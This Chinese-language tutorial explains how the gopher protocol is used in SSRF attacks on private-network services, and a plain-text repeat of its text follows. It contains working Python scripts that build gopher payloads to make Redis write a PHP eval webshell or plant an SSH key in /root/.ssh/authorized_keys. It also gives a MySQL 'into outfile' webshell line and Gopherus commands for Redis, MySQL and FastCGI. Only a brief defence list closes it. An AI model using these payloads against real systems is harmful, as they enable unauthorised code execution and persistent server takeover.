gopher在ssrf中的应用
字数 1344 2025-08-24 07:48:09

Gopher协议在SSRF攻击中的应用

1. Gopher协议概述

Gopher是HTTP协议出现前常用的协议,它将Internet上的文件组织成索引形式,使用TCP 70端口。在WWW出现后逐渐被淘汰,但在SSRF攻击中仍有用武之地。

特点:

  • 可以发送GET、POST请求
  • 可用于攻击内网的Redis、FTP等服务
  • 协议格式:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

2. 使用限制

不同环境对Gopher协议的支持情况:

环境 支持条件
PHP 启用curlwrappers且版本≥5.3
Java JDK<1.7
curl 低版本不支持
Perl 支持
ASP.NET 版本<3

3. Gopher发送HTTP请求

发送GET请求示例

原始请求:

GET /b.php?q=1 HTTP/1.1
Host: 192.168.47.244

Gopher格式:

gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A

发送POST请求示例

原始请求:

POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

Gopher格式:

gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname

4. Gopherus工具

Gopherus是生成Gopher payload的工具,支持多种服务攻击。

安装:

git clone https://github.com/tarunkant/Gopherus.git

支持的服务:

  • MySQL (Port:3306)
  • FastCGI (Port:9000)
  • Memcached (Port:11211)
  • Redis (Port:6379)
  • Zabbix (Port:10050)
  • SMTP (Port:25)

编码注意事项:

  • 使用curl_exec()造成的SSRF需要二次URL编码
  • 使用file_get_contents()造成的SSRF不需要二次URL编码

5. 攻击Redis服务

Redis基础知识

  • 默认端口:6379
  • 使用RESP协议(Redis序列化协议)

RESP协议数据类型:

  1. 单行字符串:+hello world\r\n
  2. 多行字符串:$11\r\nhello world\r\n
  3. 整数值::1024\r\n
  4. 错误消息:-WRONGTYPE...\r\n
  5. 数组:*3\r\n:1\r\n:2\r\n:3\r\n

攻击方式

  1. 绝对路径写webshell
  2. 写SSH公钥
  3. 写crontab计划任务反弹shell
  4. 主从复制webshell

使用Gopherus生成Redis payload

python2 gopherus.py --exploit redis

绝对路径写webshell

构造Redis命令:

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 1 '<?php eval($_GET["cmd"]);?>'
save

Python脚本转换RESP格式:

import urllib

protocol = "gopher://"
ip = "192.168.64.163"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall", "set 1 {}".format(shell.replace(" ", "${IFS}")), 
       "config set dir {}".format(path), 
       "config set dbfilename {}".format(filename), 
       "save"]

if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))

payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd

if __name__ == "__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

写入SSH公钥

前提:靶机SSH服务开启

import urllib

protocol = "gopher://"
ip = "192.168.64.163"
port = "6379"
ssh_pub = "\n\nssh-rsa AAAAB3NzaC1yc2E... root@kali\n\n"
filename = "authorized_keys"
path = "/root/.ssh/"
passwd = ""
cmd = ["flushall", "set 1 {}".format(ssh_pub.replace(" ", "${IFS}")), 
       "config set dir {}".format(path), 
       "config set dbfilename {}".format(filename), 
       "save"]

if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))

payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd

if __name__ == "__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

6. 攻击MySQL服务

前提条件

  • 知道网站路径
  • 对数据库有执行权限
  • 不需要密码或知道密码

使用Gopherus生成MySQL payload

python2 gopherus.py --exploit mysql

示例命令:

select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

7. 攻击FastCGI

FastCGI基础知识

FastCGI是服务器中间件和后端语言通信的协议,由多个record组成。

Record结构

typedef struct {
    /* Header */
    unsigned char version;       // 版本
    unsigned char type;          // record类型
    unsigned char requestIdB1;   // 请求id
    unsigned char requestIdB0;
    unsigned char contentLengthB1; // body大小
    unsigned char contentLengthB0;
    unsigned char paddingLength;   // 额外块大小
    unsigned char reserved;
    
    /* Body */
    unsigned char contentData[contentLength];
    unsigned char paddingData[paddingLength];
} FCGI_Record;

漏洞利用

当9000端口暴露时,可以伪造FastCGI协议报文攻击;未暴露时也可通过SSRF利用。

使用Gopherus生成FastCGI payload

python2 gopherus.py --exploit fastcgi

8. 防御措施

  1. 禁用不必要的协议(Gopher等)
  2. 限制服务器对外请求
  3. 对用户输入进行严格过滤
  4. 及时更新中间件和语言环境
  5. 配置网络访问控制策略
Gopher协议在SSRF攻击中的应用 1. Gopher协议概述 Gopher是HTTP协议出现前常用的协议,它将Internet上的文件组织成索引形式,使用TCP 70端口。在WWW出现后逐渐被淘汰,但在SSRF攻击中仍有用武之地。 特点: 可以发送GET、POST请求 可用于攻击内网的Redis、FTP等服务 协议格式: gopher://<host>:<port>/<gopher-path>_后接TCP数据流 2. 使用限制 不同环境对Gopher协议的支持情况: | 环境 | 支持条件 | |------|----------| | PHP | 启用curlwrappers且版本≥5.3 | | Java | JDK <1.7 | | curl | 低版本不支持 | | Perl | 支持 | | ASP.NET | 版本 <3 | 3. Gopher发送HTTP请求 发送GET请求示例 原始请求: Gopher格式: 发送POST请求示例 原始请求: Gopher格式: 4. Gopherus工具 Gopherus是生成Gopher payload的工具,支持多种服务攻击。 安装: 支持的服务: MySQL (Port:3306) FastCGI (Port:9000) Memcached (Port:11211) Redis (Port:6379) Zabbix (Port:10050) SMTP (Port:25) 编码注意事项: 使用 curl_exec() 造成的SSRF需要二次URL编码 使用 file_get_contents() 造成的SSRF不需要二次URL编码 5. 攻击Redis服务 Redis基础知识 默认端口:6379 使用RESP协议(Redis序列化协议) RESP协议数据类型: 单行字符串: +hello world\r\n 多行字符串: $11\r\nhello world\r\n 整数值: :1024\r\n 错误消息: -WRONGTYPE...\r\n 数组: *3\r\n:1\r\n:2\r\n:3\r\n 攻击方式 绝对路径写webshell 写SSH公钥 写crontab计划任务反弹shell 主从复制webshell 使用Gopherus生成Redis payload 绝对路径写webshell 构造Redis命令: Python脚本转换RESP格式: 写入SSH公钥 前提:靶机SSH服务开启 6. 攻击MySQL服务 前提条件 知道网站路径 对数据库有执行权限 不需要密码或知道密码 使用Gopherus生成MySQL payload 示例命令: 7. 攻击FastCGI FastCGI基础知识 FastCGI是服务器中间件和后端语言通信的协议,由多个record组成。 Record结构 漏洞利用 当9000端口暴露时,可以伪造FastCGI协议报文攻击;未暴露时也可通过SSRF利用。 使用Gopherus生成FastCGI payload 8. 防御措施 禁用不必要的协议(Gopher等) 限制服务器对外请求 对用户输入进行严格过滤 及时更新中间件和语言环境 配置网络访问控制策略